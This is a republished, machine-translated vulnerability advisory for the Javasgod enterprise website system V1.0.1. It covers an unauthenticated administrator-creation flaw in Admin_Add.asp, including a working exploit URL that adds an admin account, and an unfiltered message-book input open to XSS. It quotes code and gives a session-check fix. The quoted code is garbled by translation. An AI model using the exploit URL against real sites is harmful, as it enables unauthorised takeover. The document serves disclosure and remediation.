Javasgod free enterprise website building system V1.0.1 add administrator and message book XSS

Source: Internet
Author: User

Affected Versions: javasgod free enterprise website building system V1.0.1
 
Source code: http://www.mycodes.net/25/5242.htm
 
① Add an administrator without verification
 
Vulnerability file: Admin_Add.asp
 
Vulnerability code:
 
<! -- # Include file = ".../../config/conn. asp" -->
<! -- # Include file = "md5.asp" -->
<%
If request. QueryString ("action") = "save" then
Uid = replace (trim (Request ("uid ")),"'","")
Realname = replace (trim (Request ("realname ")),"'","")
Pwd1 = replace (trim (Request ("pwd1 ")),"'","")
Pwd2 = replace (trim (Request ("pwd2 ")),"'","")
Password = md5 (pwd1) cause: data is directly written without verification
 
Scheme: Construct a URL
 
Http://www.bkjia.com/source/admin/Admin_Add.asp? Action = save & uid = test & realname = test & pwd1 = 123456 & pwd2 = 123456
 
In this way, you can add an administrator account whose account is test and password is 123456.
 
Solution: Add judgment code
 
If session ("admin") = "" then
Response. Write "<script language = 'javascript '> alert ('network timed out or you have not logged on yet! '); Window. location. href = 'login. asp'; </script>"
Response. End
End if ② message book XSS Vulnerability
 
Vulnerability file: Message. asp
 
Vulnerability code:
 
If request. QueryString ("action") = "save" then
Username = trim (request ("username "))
Email = trim (request ("email "))
Tel = trim (request ("tel "))
Zhiwu = trim (request ("zhiwu "))
City = trim (request ("city "))
Qq = trim (request ("qq "))
Add = trim (request ("add "))
Title = trim (request ("title "))
Content = trim (request ("content "))
Messageip = Request. ServerVariables ("REMOTE_ADDR ")
Set rs = server. CreateObject ("adodb. recordset ")
Rs. open "select * from consumer _message", conn, reason: not filtered, can still be executed in the background
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.